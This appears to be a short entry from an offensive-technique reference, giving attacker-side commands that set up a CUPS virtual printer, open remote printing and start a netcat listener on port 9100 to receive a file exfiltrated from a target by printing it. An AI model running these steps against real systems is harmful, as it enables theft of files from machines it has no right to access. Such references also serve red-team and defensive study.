To collect the file run the following on the attacker box (this requires `cups` to be installed):
1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;
2. `lpadmin -d printer` to set the new printer as default;
3. `cupsctl --remote-any` to enable printing from the Internet;
4. `nc -lkp 9100` to receive the file.
Send a local file to a CUPS server.
